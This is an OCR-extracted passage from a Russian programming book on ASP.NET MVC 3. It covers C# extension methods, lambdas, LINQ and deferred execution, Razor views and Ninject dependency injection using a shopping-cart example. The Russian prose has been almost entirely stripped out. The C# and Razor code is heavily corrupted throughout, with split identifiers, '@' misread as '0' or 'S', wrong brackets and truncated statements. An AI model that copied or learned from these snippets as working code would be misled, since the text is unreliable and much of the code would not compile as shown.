new P r o d u c t {Name = " S o c c e r b a l l " , P r i c e = 19. 50M} ,
new P r o d u c t {Name = " C o r n e r f l a g " , P r i c e = 34.95M}
};
//
decimal c a r t T o t a l = p r o d u c t s . T o t a l P r i c e s ( ) ;
d e c i m a l a r r a y T o t a l = p r o d u c t s . T o t a l P r i c e s () ;
C onsole.W riteLine("C art T o t a l: { 0 : c } " , c a r tT o ta l);
C on s ole .W rite L in e ( "Array T o t a l : { 0 : c } " , a rr a y T o ta l);
}
}

! I E n u m e r a b l e < T > C#
. MSDN.
, ,
#, . , .
,
#. , .
, 5.14,
, ,
, P r o d u c t :
Cart T o t a l :
Array T o t a l :

$378.40
$378.40


,
. ,
I E nu me r a bl e< T >
I E nu me r a bl e < T> , y i e l d ,

. 5.15.

5.

103

5.15.
public

static
this

foreach
if

IEnum erable<Product>

IEnum erable< Product>


(Product

prod

(p r o d .C a t e g o r y
yield

return

in

F ilterByCategory(

productEnum,

productEnum)

==

string

categoryParam )

categoryParam)

prod;

}
}

F ilterB y C atego ry

. P r o d u c t ,
C a t e g o r y ,
I E n u m e r a b l e < P r o d u c t > , , .
5.16.

5.16.
using

System ;

using

S y s t e m .C o lle c t io n s . G en eric;

class

Program

static
/ /

void

{
M a i n ( s t r i n g []

IEnum erable< Product>


Products
new

args)

new

Product

new P r o d u c t

products

List<Product>
{Name

{Name =

ShoppingCart

"K ay ak",

new

ShoppingCart

{
Category

"Lifejacket",

"W a te rsp o rts",

Category =

"W atersp o rts",

new

Product

{Name

"So ccer

b all",

Category

new

Product

{Nam e

"C orn er

fla g ",

Category

"S o c c er",
So ccer",

Price
Price
Price
Price

275M },
= 4 8 .9 5 M },

=
=

1 9 .5 0 M },
3 4 .9 5 M }

};
foreach

(Product

prod

in

products.

C o n s o le .W r i t e L i n e ("N a m e:

{0},

F i l t e r ByCategory("Soccer" ) )
Price

{ l :c }",

p r o d .N a m e ,

p r o d .P r ic e );

}
}
F i l t e r B y C a t e g o r y S h o p p i n g C a r t
P r o d u c t , S o c c e r .
:
Name:

Soccer

ball,

Price

$ 1 9 .5 0

Name:

Corner

flag,

Price

$ 3 4 .9 5

, ,
. , P r o d u c t ,
S o c c e r , T o t a l P r i c e s ,
P r i c e , 5.17.

5.17.
decim al

total

= p r o d u c t s . F ilt e r B y C a te g o r y ("S o c c e r ") . T o t a l P r i c e s ();

C on sole.W r it e L in e ("F ilt e r e d

to tal:

{0:c}",

total);

104

I. ASP.NET MVC 3

:
F i l t e r e d t o t a l : $54.45

-
F i l t e r B y C a t e g o r y ,
. ,
P r o d u c t , (.
5.18).

5.18.
p u b l i c s t a t i c I E n u me r a bl e < P r o d u c t > F i l t e r (
t h i s I E n u me r a b l e< P r o d u c t > productEnum,
F u n c < P r o d u c t , b ool> selectorParam)

f o r e a c h ( P r o d u c t p r o d i n productEnum)
i f (selectorParam (prod)) {
y i e l d r e tu r n prod;

}
}
}
Fun ,
. P r o d u c t
b o o l , t r u e , P r o d u c t
.
5.19.

5.19. Func
u s i n g System;
using S y s t e m .C o ll e c t io n s .Generic;
c l a s s Program {
s t a t i c v o i d M a i n ( s t r i n g [] a r g s )

// S ho ppi ngCar t
I E n u me r a b l e < P r od u c t > p r o d u c t s = new S ho ppi n gCar t {
P r o d u c t s = new L i s t < P r o d u c t > {
new P r o d u c t {Name = " Ka ya k " , C a t e g o r y = " W a t e r s p o r t s " , P r i c e = 275M},
new Pr oduct {Name = " L i f e j a c k e t " , Ca t eg o r y = " W a t e r s p o r t s " , P r i c e = 48.95M},
new P r o d u c t {Name = " S o c c e r b a l l " , C a t e g o r y = " S o c c e r " , P r i c e = 19. 50M} ,
new P r o d u ct {Name = " C o r n e r f l a g " , C a t e g o r y = " S o c c e r " , P r i c e = 34.95M}

};
F u n c < P r o d u c t , b o o l > c a t e g o r y F i l t e r = d e l e g a t e ( P r o d u c t prod)
r e t u r n p r o d .C a t e g o r y = = "Soccer";

};
I E n u m e r a b l e < P r o d u c t > f i l t e r e d P r o d u c t s = p r o d u c t s .F i l t e r ( c a t e g o r y F i l t e r ) ;

fo r e a c h (Product prod in f i l t e r e d P r o d u c t s ) {
Console.WriteLine("Nam e: { 0} , P rice: { l : c } " ,

}
}
}

prod. Name, p r o d . P r i c e ) ;

5.

105

, Produ ct
, , Fun
, .
-,
.
, 5 .2 0 .

5.20. -
F u n c < P r od u c t , b o o l > c a t e g o r y F i l t e r = prod => prod.Category == "Soccer";
I E nu me r a b l e< P r o d u c t > f i l t e r e d P r o d u c t s = p r o d u c t s . F i l t e r ( c a t e g o r y F i l t e r ) ;
- .
, . =>
- .

Pr od u ct , prod, b o o l , ,
C a t e g o r y prod Soccer.
,

Func, 5 .2 1 .

5.21. - Func
I E nu me r a b l e< P r o d u c t > f i l t e r e d P r o d u c t s =
p r o d u c t s . F i l t e r ( pr o d => p r o d. C a t e g o r y == " S o c c e r " ) ;
-

F i l t e r .
, . ,
- ( . 5 .2 2 ).

5.22. , -
I En u me r a b l e < P r od u c t > f i l t e r e d P r o d u c t s = p r o d u c t s . F i l t e r ( p r o d =>
p r o d . C a t e g o r y == " S o c c e r " || p r o d . P r i c e > 2 0 ) ;

-
-.
, :
prod => E v a l u a t e P r o d u c t ( p r o d )

- ,
, , :
(prod, count) => p r o d . P r i c e > 20 && count > 0

, , - ,
, , ({})
r e t u r n , :
(prod, count) => {
//. . .

return r e s u l t ;

}
- ,
, . , .

106

I. ASP.NET MVC 3


v a r C#
, 5.23.
.

5.23.
var m y V a r i a b l e =
new Pr o d u c t { N a m e = "Kayak",

C a t e g o r y = "Watersports",

s tring name = m y V a r i a b l e .Name;


int count = m y V a r i a b l e .C o u n t ;

//
//

Price = 275 M };

, m y V a r i a b l e .
, . ,

Product.


,

. 5.24.

5.24.
var m y A n o n T y p e = new {
Name = "MVC",
C a t e g o r y = "Pattern"

};
C o n s o l e . W r i t e L i n e ( " N a m e : {0}, Type:

{1}", myAnonType.Name, m y A n o n T y p e .C a t e g o r y ) ;

m y A n o n T y p e . ,
,
JavaScript.
. - . ,
, .
C#
. ,
,
. ,
, 5.25.

5.25.
var o d d s A n d E n d s
new { N ame =
new { N ame =
new { N a m e =

= n e w [] {
"MVC", C a t e g o r y = "Pattern"},
"Hat", C a t e g o r y = "Clothing"},
"Apple", C a t e g o r y = "Fruit"}

};
foreach (var i t e m in oddsAndEnds) {
C o n s o l e .W r i t e L i n e ("Name : {0}", item.Name);

5.

1 07

,
v a r . , ,
,
. , ,

Name . ,
. ,
, ,
.

LINQ

LINQ. LINQ .
.NET. LINQ, . LINQ
S Q L - . ,
P r o d u c t
. LINQ, ,
5.26.

5.26. LINQ
u s i n g System;
using S y s t e m . C o l l e c t i o n s . G en eri c;
c l a s s Program {
s t a t i c v o i d M a i n ( s t r i n g [] a r g s )

P r o d u c t [] p r o d u c t s = {
new P r o du c t {Name = " K a y a k " , C a t e g o r y = " W a t e r s p o r t s " , P r i c e = 275M),
new Pr oduct {Name = " L i f e j a c k e t " , C a t e g o r y = " W a t e r s p o r t s " , P r i c e = 48.95M},
new P r o d u ct {Name = " S o c c e r b a l l " , C a t e g o r y = " S o c c e r " , P r i c e = 19. 50M} ,
new P r o du c t {Name = " C o r n e r f l a g " , C a t e g o r y = " S o c c e r " , P r i c e = 34.95M}
};
//
P r o d u c t [] r e s u l t s = new P r o d u c t [ 3 ] ;
//
A r r a y . S o r t ( p r o d u c t s , ( i t e m l , i t em2 ) => {
re tu r n Comparer<decimal>. D e f a u l t . C o m p a r e (i t e m l . P r i c e ,
});

item2. P r i c e ) ;

//
A r r a y . C o p y ( p r o d u c t s , r e s u l t s , 3) ;
//
foreach (Product in r e s u l t s ) {
C o n s o l e .W r it e L in e ( "Item: { 0} , Cost:
}

{1}",

p.Name, p . P r i c e ) ;

}
}
LIN Q ,
5.27.

108

I. ASP.NET MVC 3

5.27. LINQ
u s i n g System;
using System .Linq;
c l a s s Program {
s t a t i c v o i d M a i n ( s t r i n g [] a r g s ) {
P r o d u c t [] p r o d u c t s = {
new P r od u ct {Name = " K a y a k " , C a t e g o r y = " W a t e r s p o r t s " , P r i c e = 275M},
new Pr oduct {Name = " L i f e j a c k e t " , C a t e g o r y = " W a t e r s p o r t s " , P r i c e = 48.95M},
new P r od u ct {Name = " S o c c e r b a l l " , C a t e g o r y = " S o c c e r " , P r i c e = 19. 50M} ,
new P r o du c t {Name = " C o r n e r f l a g " , C a t e g o r y = " S o c c e r " , P r i c e = 34.95M}
};
v a r r e s u lt s

= fro m

p ro d u c t in

p ro d u c ts

o rd e rb y p r o d u c t . P r ic e
s e le c t new

d e s c e n d in g

p r o d u c t.N a m e ,
p r o d u c t . P r ic e

>;
i n t co unt = 0;
//
foreach (var p in r e s u lt s ) {
Co n sole.W r i t e L i n e ( "Item :
i f ( ++co unt == 3) {
break;
}
}

{0},

Cost:

{1}",

p.Name, p . P r i c e ) ;

}
}
. S Q L - .
P r o d u c t
s e l e c t , , ,
. LINQ
. ,
P r o d u c t ,
. ,
.
, LINQ
.

, , .
P r o d u c t
5.28.

5.28. LINQ
u s i n g System;
using System .Linq ;
c l a s s Program {
s t a t i c v o i d M a i n ( s t r i n g [] a rg s) {
Pr od u c t [] p r o d u c t s = {
new P r o du c t {Name = " K a y a k " , C a t e g o r y = " W a t e r s p o r t s " , P r i c e = 275M},
new Pr oduct {Name = " L i f e j a c k e t " , C a t e g o r y = " W a t e r s p o r t s " , P r i c e = 48.95M},
new P r o d u c t {Name = " S o c c e r b a l l " , C a t e g o r y = ' S o c c e r " , P r i c e = 19. 50M} ,
new P r o d u c t {Name = " C o r n e r f l a g " , C a t e g o r y = " S o c c e r " , P r i c e = 34.95M}
};

5.
v a r r e s u lt s = p ro d u c ts
. O r d e r B y D e s c e n d in g ( = > e . P r i c e )
. T a k e (3 )
. S e l e c t (e = > new { e .N a m e , e . P r i c e

foreach (var p in r e s u l t s ) {
C o n s o l e . W r i t e L i n e ( " I t em:
}

{0},

Cost:

{1}",

109

}) ;

p.Name, p . P r i c e ) ;

}
}
, , LINQ, ,
, ,
LINQ #.
LINQ
. LINQ,
5.28, I E n u m e r a b l e < T > I E n u m e r a b l e < T > ,
.

! LINQ Sys t em. L I N Q ,


u s i n g ,
.
O r d e r B y D e s c e n d i n g .
- ,
.
( ).
S e l e c t ,
. ,
Name P r i c e . ,
. C# , ,
S e l e c t .
LIN Q . 5.1. LIN Q
, ,
, . LINQ,
. 5.1, I E n u me r a b l e < T > .

5.1. LINQ

t r u e ,

Any

t ru e , , ,

Contains

t ru e ,

Count

First

FirstOrDefault

110

I. ASP.NET MVC 3
. 5.1

Last

L a s tO r D e fa u lt

M ax
M in

,
-

O rd e rB y
O rd e rB y D e s c e n d in g

,
-

R e v e rs e

S e le c t

S e le c tM a n y

S in g le

S in g le O r D e f a u l t

S k ip
S k ip W h ile

Sum

Take
T a k e W h ile


, ,

T o A rra y
T o D ic t io n a r y
T o L is t

W here

UNO
, . 5.1 .
LINQ. ,
, ,
IE n u m e r a b le < T > , 5.29.

5.29. LINQ
u s in g S y s te m ;
u s in g S y s t e m .L in q ;
c la s s P ro g ra m {
s t a t i c v o id M a i n ( s t r i n g [] a r g s )

5.

111

Product[] products = {
new Product {Name = "Kayak", Category = "Watersports", Price = 275M},
new Product (Name = "Lifejacket", Category = "Watersports", Price = 48.95M},
new Product (Name = "Soccer ball", Category = "Soccer", Price = 19.50M),
new Product {Name = "Corner flag", Category = "Soccer", Price = 34.95M)
};
var results = products
.OrderByDescending(e => e.Price)
.Take(3)
.Select(e => new { e.Name, e.Price });
products[2] = new Product { Name = "Stadium", Price = 79500M };
foreach (var p in results) {
Console.WriteLine("Item: (0), Cost: {1)", p.Name, p.Price);
)
)

_______________________________

Product, ,
. ,
Product,
. :
Item: Stadium, Cost: 79500
Item: Kayak, Cost: 275
Item: Lifejacket, Cost: 48.95
, ,
, S t a d i u m
Product . ,
LINQ.
5.30.

5.30. LINQ
using System;
using System.Linq;
class Program {
static void Main(string [] args) {
Product[] products = {
new Product {Name = "Kayak", Category = "Watersports", Price = 275M},
new Product {Name = "Lifejacket", Category = "Watersports", Price = 48.95M},
new Product {Name = "Soccer ball", Category = "Soccer", Price = 19.50M},
new Product {Name = "Corner flag", Category = "Soccer", Price = 34.95M}
};
var results = products.Sum (e => e.Price);
products[2] = new Product { Name = "Stadium", Price = 79500M };
Console.WriteLine("Sum:
}
}

{0:c}", results);

112

I. ASP.NET MVC 3

Sum

Sura: $378.40
,
.

Stadium ,


, LINQ,
,
. 5.31.

5.31.
using System;
using System.Linq;
class Program {
static void Main (string [] args)

Product[] products = {
new Product (Name = "Kayak", Category = "Watersports", Price = 275M},
new Product (Name = "Lifejacket", Category = "Watersports", Price = 48.95M},
new Product {Name = "Soccer ball", Category = "Soccer", Price = 19.50M},
new Product {Name = "Corner flag", Category = "Soccer", Price = 34.95M}
};
var results = products
.OrderByDescending(e => e.Price)
.Take (3)
.Select(e => new { e.Name, e,Price });
foreach (var p in results) {
Console.WriteLine("Item: {0}, Cost: {1}", p.Name, p.Price);
}
Console.WriteLine("---End of results---");
products[2] = new Product { Name = "Stadium", Price = 79500M };
foreach (var p in results) {
Console.WriteLine("Item: {0}, Cost:

{1}", p.Name, p.Price);

>
, LINQ,
. ,
. :
Item: Kayak, Cost: 275
Item: Lifejacket, Cost: 48.95
Item: Corner flag, Cost: 34.95
-- End of results--Item: Stadium, Cost: 79500
Item: Kayak, Cost: 275
Item: Lifejacket, Cost: 48.95
-- End of results---

5.

113

, .
, -
L1NQ. ,
, ,
. ,
, ,
.

LINQ IQ u e r y a b le < T >


LINQ, .
LINQ to Objects,
. LINQ to Objects #,
. LINQ to XML
, XML-.
LINQ LINQ to Objects,
.
LINQ to Entities,
LINQ , Entity Framework. ,
Entity Framework ORM- Microsoft,
ADO.NET. 0RM , #,
,
.
Entity Framework LINQ to Entities , ,
LINQ, IQ u eryable<T>.
lQ u e ry a b le < T > IE n u m erable<T>
,
. SQL Server.
lQ u erya b le< T > .
LINQ ,
(, XML, ..). IQ u erya b le< T >
,
, .

Razor
Razor MVC 3.
ASP.NET -, ,
. ,
ASPX <% %>,
ASP.NET.
Razor MVC
, @. ,
<% %>, Razor ,
.
Razor, , .
Razor,
. Razor
.

114

I. ASP.NET MVC 3


Razor,
M VC. , 3,
M V C 3. Razor.


,
Product.
Product.cs Models
5.32.

5,32.
namespace Razor.Models {
public class Product {
public
public
public
public
public

int ProductID { get; set; }


string Name { get; set; }
string Description { get; set; }
decimal Price { get; set; }
string Category { set; get; }

}
}
Product,
.


Controllers
Add (), Controller ().
ProductController (Controller name) Empty
controller ( ) Template (), . 5.1.

. 5 .1 . P r o d u c t C o n t r o l l e r

5.

115

A dd (), C o n t r o l l e r ,
,
5.33.

5.33.
using System.Web.Mvc;
using Razor.Models;
namespace Razor.Controllers {
public class ProductController : Controller {
public ActionResult Index!) {
Product myProduct = new Product {
ProductID = 1,
Name = "Kayak",
Description = "A boat for one person",
Category = "Watersports",
Price = 275M

};
return View(myProduct);

)
)

}____________________________________________________________________
Razor,
M V C .
Index P roduct View
.


, Index
ProductController Add View (
). Create a stro n g ly ty p e d view (
) P ro d u ct (Razor.
M odels), . 5.2.

. 5 .2 . Index

116

I. ASP.NET MVC 3

! Product ,
. Visual Studio
, .

Use a layout or m aster page ( ). ,


. Add (), ,
Views/Product Index.cshtml.


MVC,
URL- / Index Product.
Global.asax RegisterRoutes.
routes.MapRoute. ,
controller, Default Product, 5.34.

5.34,
routes.MapRoute(
"Default",
//
"{controller}/{action}/{id}",
// URL
new { controller = "Product", action = "Index", id = UrIParameter.Optional }

);
, controller, Default Product
.
. 11.

Razor
Razor .cshtml,
.aspx, MVC ASP.NBT Web Forms.
MVC 3 - ASPX,
Razor, , ,
MVC Microsoft.
Index.cshtml , ,
5.35.
Razor.

5.35. Razor
@model R a z o r . M o d e l s . P r o d u c t
@{

View Bag. T itle

= "In d ex ";

}
<h 2> In dex< /h 2>


, , 5.35,
. :
Smodel Razor.Models.Product

5.

117

Razor 0.
,
@model. 3,
. ,
@Model, 5.36.
5.36.
Srnodel Razor.Models.Product
0{

ViewBag.Title = "Index";

}
<h2>Name: 0Model. Name</h2>
, Razor ,
, . ,
m (@model),
(SModel). (
S ta r t Debugging ( ) Debug () Visual Studio),
, . 5.3.

. 5.3. 5.36

Razor
5.36 , Razor ,
:
<h2>Name:

@ M o d e l. Nam e</h2>

,
. #,
5.37.
5.37, Razor
Smodel Raz o r .M o d e l s .Product
0{
V ie w B a g .T itle

"Ind ex";

}
<h2>Name:

0 M o d e l . Nam e</h2>

Time v i e w r e n d e r e d :

0 D a t e T i m e . N o w . T o S h o r t T i m e S t r i n g ()

.
Razor HTML- .
0Model ,<_ > ,
5.37 .

118

I. ASP.NET MVC 3

Razor .

#, 5.38.

5.38.
0model R a z o r .M o d e l s .Product
@{
View Bag.T it le

"Ind ex";

}
<h2>Name: 0 M o d e l .N am e < / h 2 >

@if (Model.Category == "Watersports") {


<p>0Model.Category <b>Splash!</b> </p>

}
Time v i e w rendered: S D a t e T i m e .N o w . T o S h o r t T i m e S t r i n g ()

if,
, C a t e g o r y P r o d u c t
W a t e r s p o r t s . Razor , ,
i f HTML-,
, .

-, . 5.4.

. 5.4. if

,
HTML-, Razor .

5.39.

5.39. , HTML-
Smodel R a z o r .M o d e l s .Product
0{
V i e w B a g .Title = "Index";

<h2>Name: S M o d e l .N a me < / h 2 >


0if (S M o d e l .C a t e g o r y == "Watersports") {
0:Category: S M o d e l .C a t e g o r y < b > S p l a s h !</b>

)
<p />
Time view rendered: S D a t e T i m e .N o w .T o S h o r t T i m e S t r i n g ()

5.

119

,
H T M L -,
. @: Razor, ,
H T M L - ,
Razor,
. . 5.5.

. 5.5.
,
H T M L -, t e x t , 5.40.
@:.

5.40. T e x t
Smodel R a z o r . M o d e l s . P r o d u c t

@{
View Bag. T itle

= "Ind ex";

}
<h2>Name:
Sif

S M o d e l . Nam e< /h2>

(S M o d e l.C a te g o r y ==

"W atersports")

<text>
Category: SModel.Category <b>Splash!</b>
<pre>
Row, row, row your boat,
Gently down the stream...
</pre>
</text>

}
<p / >
Time v i e w

rendered:

S D a t e T i m e . N o w . T o S h o r t T i m e S t r i n g ()

t e x t - Razor HTM L.
@:,
. . 5.6.

. 5 .6 . t e x t

120

I. ASP.NET MVC 3


,
@{ }.
5.41.
5 .4 1 .

0model Razor.Models.Product
@{

ViewBag.Title = "Index";
}

<h2>Name: SModel.Name</h2>
@{

if (Model.Category == "Watersports") {
Category: @Model.Category <b>Splash!</b>

}
if (Model.Price > 1 0 )
<h5>Pricey!</h5>

}
)

i f , .
. 5.7.

. 5 .7 .


, .
( ),
.

ViewBag
, ViewData
.
ViewBag. Product
5.42.

5 .4 2 . V ie w B a g
using System;
using System.Web.Mvc;
using Razor.Models;
namespace R a z o r .Controllers {

5.

121

public class ProductController : Controller {


public ActionResult Ind e x () {
Product myProduct = new Product {
ProductID = 1,
Name = "Kayak",
Description = "A boat for one person",
Category = "Watersports",
Price = 275M

};
ViewBag.ProcessingTime = DateTime.N o w .ToShortTimeString();
return View(myProduct);
}
)
}
ViewBag ,
. P r o c e s s i n g T i m e
, .
ViewBag ,
5.43.

5.43. V ie w B a g
0model Raz o r .M o d e l s .Product

0{
ViewBag.Title = "Index";

}
<h2>Name: @Model.Name</h2>
0{
if (Model.Category == "Watersports") {
<text>
<p>Description: SModel.Description <b> (Splash!) < / b x / p >
<p>Category: @Model.Category</p>
</text>
} else {
@ :Description: SModel.Description
}
}
View rendered at SViewBag.ProcessingTime

. 5.8.

. 5 .8 . V ie w B a g

122

I. ASP.NET MVC 3

ViewBag
ViewData , ,
. ,
, Visual Studio,
:
@{

ViewBag.Title = "Index";
}
, Index
Title. , .


, ,
Visual Studio, .
Add View ( ),
(. 5.9).

. 5 .9 . Razor
,
_viewstart. Views
M VC, _ViewStart.cshtml,
5.44.

5.44. _ V i e w S t a r t . c s h t m l

@{
Layout = "~/Views/Shared/_Layout.cshtml";
}
M V C _ViewStart.cshtml
,
. ,
_L a y o u t . c s h t m l
Views/Shared.
! , ( _) ,
, .
, Visual Studio,
, M V C
. , ,
,
. -

5.

123

, , ViewBag Index.
_Layout.cshtml 5.45.

5.45. _ L a y o u t .c s h t m l
<!DOCTYPE html>
<html>
<head>
<title>@ViewBag.Title</title>
<link href="@ U rl.Content("- /Con tent/Site. c s s ")"
type="text/css"

rel="stylesheet"

/>

<script src="0Url.C o n t e n t ("-/Scripts/jquery-1 .4.4.min.js")"


type=" text/j avascript"x/script>
</head>
<body>
0RenderBody()
</body>
</html>
- ASPX. ViewBag.Title,
Index,
H T M L - title. A S P X
Razor @ R enderBody ().
-, Razor H T M L -, ,
.
H T M L -, Index
HTML- body.


Razor . Use
layout or master page , ,
5.46.

5.46. ,
0{

Layout = null;
<!DOCTYPE html>
<html>
<head>
<title>IndexNoTemplate</title>
</head>
<body>
<div>
</div>
</body>
</html>
- ,
, H T M L -,
html, hea d body.

124

I. ASP.NET MVC 3

, Layout n ull.
, _V iew S tart.
cshtml - .

,
M VC. LINQ,
.
, LINQ,
M VC.
Razor,
M V C 3. Razor ,
A S P X - <% %>, , , ,
, .
,
M V C
.

,
MVC
,
MVC.
: DI,
.

,
.
, . ,
, .
4, DI Ninject.
, . ,
, Ninject .
, , ,
DI Ninject .
Ninject , Unity
Microsoft.
,
Visual Studio 2010. , NUnit,
.NET.
NUnit, , Visual Studio 2010
,
(integrated development environment IDE)
.
Moq,
. Moq
, .
Moq, ; .
,
. ,
Rhino Mocks .

.
,
, ,
.

12 6

I. ASP.NET MVC 3

Ninject
DI 4. ,
M VC,
DI. 6.1 ,
, .

6.1. ,
public class Product {
public int ProductID { get; set; )
public string Name ( get; set; }
public string Description { get; set; }
public decimal Price { get; set; }
public string Category { set; get; }
}
public interface IValueCalculator {
decimal ValueProducts(params Product[] products);
)
public class LinqValueCalculator : IValueCalculator {
public decimal ValueProducts(params Product!] products)
return p roducts.Sum (p => p.Price);

}
}
Product , 5.
I V a l u e C a l c u l a t o r ,
P r o d u c t .
LinqValueCalculator, S um LINQ,
Price Product.
, IValueCalculator,
DI. 6.2.

6.2. I V a l u e C a l c u l a t o r
public class ShoppingCart (
private IValueCalculator calculator;
public ShoppingCart(IValueCalculator calcParam) (
calculator = calcParam;
)
public decimal CalculateStockValue() (
//
Product[] products = (
new Product () { Name = "Kayak", Price = 275M),
new Product!) { Name = "Lifejacket", Price = 48.95M],
new Product () ( Name = "Soccer ball", Price = 19.50M},
new Product () { Name = "Stadium", Price = 79500M}

};
//
decimal totalValue = calculator.ValueProducts(products);
//
return totalValue;
)

6. ,

127

. (DI)
S h o p p i n g C a r t IValueCalculator
. C a l c u l a t e S t o c k V a l u e Product,
ValueProducts IValueCalculator, ,
. . 6.1,
,
Sh o ppingCart LinqValueCalculator.

. 6.1.
S h o p p i n g C a r t LinqValueCalculator IValueCalculator,
S h o p p i n g C a r t LinqValueCalculator;
, LinqValueCalculator.
L i n q V a l u e C a l c u l a t o r
IValueC a l c u l a t o r , S h o p p i n g C a r t
.
! Prod u c t
. . Product
, ,
. MVC,
Product.
ShoppingCart
IValueCalculator
. Ninject DI.
Ninject ,
Visual Studio.


. Visual
Studio, Console Application ( ),
Windows. NinjectDemo,
. ,
6.1 6.2. #.

Ninject
Ninject , Visual
Studio. Solution Explorer (
) Add Package Library Reference (
), Add Library Package
Reference ( ). Online

128

I. ASP.NET MVC 3

() , Ninject
. , . 6.2.

. 6 .2 . Ninject Visual Studio


, Ninject,
Ninject
Ninject,
.
Install (), ,
. Solution Explorer References
(), Ninject .
. Ninject

P roject P rop ertie s ( ) P roject


T arget Fram ew ork ( ) .NET Fram ew ork 4 C lient Profile (
.NET Framework 4) .NET Fram ew ork 4.
, , Ninject.

Ninject
Ninject , Ninject.
, Ninject.
Program, Visual Studio
Console Application. Main.
6.3.

6.3. Ninject
using N inject;
class

Program

static

IKernel

v o i d M a i n ( s t r i n g []
ninjectKernel

args)

= new S t a n d a r d K e r n e l ( ) ;

6. , MVC

129

, Ninject .
, , .
Ninject,
IValueCalculator LinqValueCalculator.
Bind , IKernel,
6.4.

6.4. Ninject
class Program (
static void Main(string[] args) (
IKernel ninjectKernel = new StandardKernel();
ninjectKernel.Bind<IValueCalculator>().To<LinqValueCalculator<();
}

}
, , I V a l u e C a l c u l a t o r
LinqValueCalculator. ,
,
Bind,
. Ninject- Get
,
ShoppingCart (. 6.5).

6.5. Ninject
ninjectKernel.Bind<IValueCalculator>().To<LinqValueCalculator>();
//
IValueCalculator calclmpl = ninjectKernel.Get<IValueCalculator> ();
/ / ShoppingCart
ShoppingCart cart = new ShoppingCart(calclmpl);
//
Console.WriteLine("Total: (0:c}", c a r t .CalculateStockValue());

, ,
Get. Ninject ,
, IValueCalculator LinqValueCalculator,
. Shoppi n g C a r t
CalculateStockValue, , , ,
. :
Total: $79,843.45
,
Ninject,
LinqValueCalculator, :
ShoppingCart cart = new ShoppingCart(new LinqValueCalculator());
, , Ninject
,
Ninject .

Ninject.
5 4039

130

I. ASP.NET MVC 3


Ninject
. Ninject
.
,
6.6.
6.6.
public interface IDiscountHelper (
decimal ApplyDiscount(decimal totalParam);
}

public class DefaultDiscountHelper : IDiscountHelper (


public decimal ApplyDiscount (decimal totalParam) {
return (totalParam - (10m / 100m * totalParam));
}

}
ID is c o u n H e lp e r A p p ly D is c o u n t,
d e c im a l. D e fa u lt D is c o u n t e r H e lp e r
10- .
ID is c o u n t H e lp e r L in q V a lu e C a lc u la t o r
(. 6.7).
6.7. L i n q V a l u e C a l c u l a t o r
public class LinqValueCalculator : IValueCalculator {
private IDiscountHelper discounter;
public LinqValueCalculator(IDiscountHelper discountParam)
discounter = discountParam;

)
public decimal ValueProducts(params Product!] products) {
return discounter.ApplyDiscount(products.Sum(p => p.Price));
}

IDiscountHelper,
V a lu e P ro d u c ts
P ro d u c t.
ID is c o u n tH e lp e r Ninject,
IV a lu e C a lc u la t o r (. 6.8).
6.8.
IKernel ninjectKernel = new StandardKernel ();
ninjectKernel.Bind<IValueCalculator>().To<LinqValueCalculator>();
ninjectKernel.Bind<IDiscountHelper>().To<DefaultDiscountHelper>();
/ /
IValueCalculator calclmpl = ninjectKernel.Get<IValueCalculator>();
ShoppingCart cart = new ShoppingCart(calclmpl);
Console.Writ e L i n e ("Total: {0: }", car t .CalculateStockValue());

6. ,

131

, 6.8 ,
Ninject. , IValueCalculator,
.
Ninject , IV a l u e C a l c u l a t o r
L i nqValueCalculator. Ninject ,
, . Ninject
DefaultDiscountHelper, L i n q V a l ueCalculator
IValueCalculator. Ninject
, ,
.


Ninject ,
.
S t a n d a r d D i s c o u n t H e l p e r ,
(. 6.9).

6.9.,
public class DefaultDiscountHelper : IDiscountHelper {
public decimal DiscountSize { get; set; }
public decimal ApplyDiscount(decimal totalParam) (
return (totalParam - (DiscountSize / 100m * totalParam));

)
)

Ninject
W i t h P r o p e r t y V a l u e D i s c o u n t S i z e
DefaultDiscountHelper, 6.10.

6.10. Ninject W ith P r o p e r t y V a lu e


IKernel ninjectKernel = new StandardKernel() ;
ninjectKernel.Bind<IValueCalculator>().To<LinqValueCalculator>();
ninjectKernel.Bind<IDiscountHelper>()
.To<DefaultDiscountHelper> () .WithPropertyValue ("DiscountSize" , 50M) ;

,
. ShoppingCart,
- , Get.
DefaultDiscountHelper
.
:
Total: $39,921.73

,
W i t h P r o p e r t y V a l u e .
. 6.11
DefaultDiscounter,
.

132

I. ASP.NET MVC 3

6.11.
public class DefaultDiscountHelper : IDiscountHelper {
private decimal discountRate;
public DefaultDiscountHelper(decimal discountParam) {
discountRate = discountParam;
}
public decimal ApplyDiscount(decimal totalParam) {
return (totalParam - (discountRate/ 100m * totalParam));
)

N inject,
WithCo n s t r u c t o r A r g u m e n t (. 6.12).

6.12. ,
IKernel ninjectKernel = new StandardKernel ();
ninjectKernel.Bind<IValueCalculator>().To<LinqValueCalculator>();
ninjectKernel.Bind<IDiscountHelper>()
.To< DefaultDiscountHelper> () .WithConstructorArgument ("discountParam" , 50M) ;

. :

. N inject , ,
.


N inject

, (, ,
) N inject. ,
,
, ..:
IValueCalculator calclmpl = ninjectKernel.Get<IValueCalculator>();
ShoppingCart cart = new ShoppingCart(calclmpl);
S h o p p i n g C a r t
N inject IValueCalculator.
6.1 3 .

6.13. Ninject
ShoppingCart cart = ninjectKernel.Get<ShoppingCart> ();

. N inject
, , ,
.
, . -

6. , MVC

133

,
, Ninject.
, ,
,
. ToSelf,
6.14.

6.14.
ninjectKernel.Bind<ShoppingCart> () .ToSelf() .WithParameter)
"<_>", <_>);

ShoppingCart ,
W i t h P a r a m e t e r ().
.


(
MVC), Ninject
. ,
,
. 6.15 ShoppingCart,
, LimitShoppingCart,
,
, .

6.15.
public class ShoppingCart {
protected IValueCalculator calculator;
protected Product!] products;
public ShoppingCart(IValueCalculator calcParam) {
calculator = calcParam;
//
products = new[] {
new Product () { Name = "Kayak", Price = 275M},
new Product () { Name = "Lifejacket", Price = 48.95M),
new Product)) { Name = "Soccer ball", Price = 19.50M),
new Product () { Name = "Stadium", Price = 79500M}

};
1
public virtual decimal CalculateStockValue() {
//
decimal totalValue = calculator.ValueProducts(products);
//

return totalValue;

}
}
public class LimitShoppingCart : ShoppingCart (
public LimitShoppingCart(IValueCalculator calcParam)
: base(calcParam) {
// -

1 34

I. ASP.NET MVC 3
public override decimal CalculateStockValue() {
// ,
var filteredProducts = products
.Where( => e.Price < ItemLimit);
//
return calculator.ValueProducts(filteredProducts.T o A r r a y ());
}
public decimal ItemLimit ( get; set; }

}
,
Ninject, ,
6.16.

6.16.
ninjectKernel.Bind<ShoppingCart>()
.To<LimitShoppingCart>()
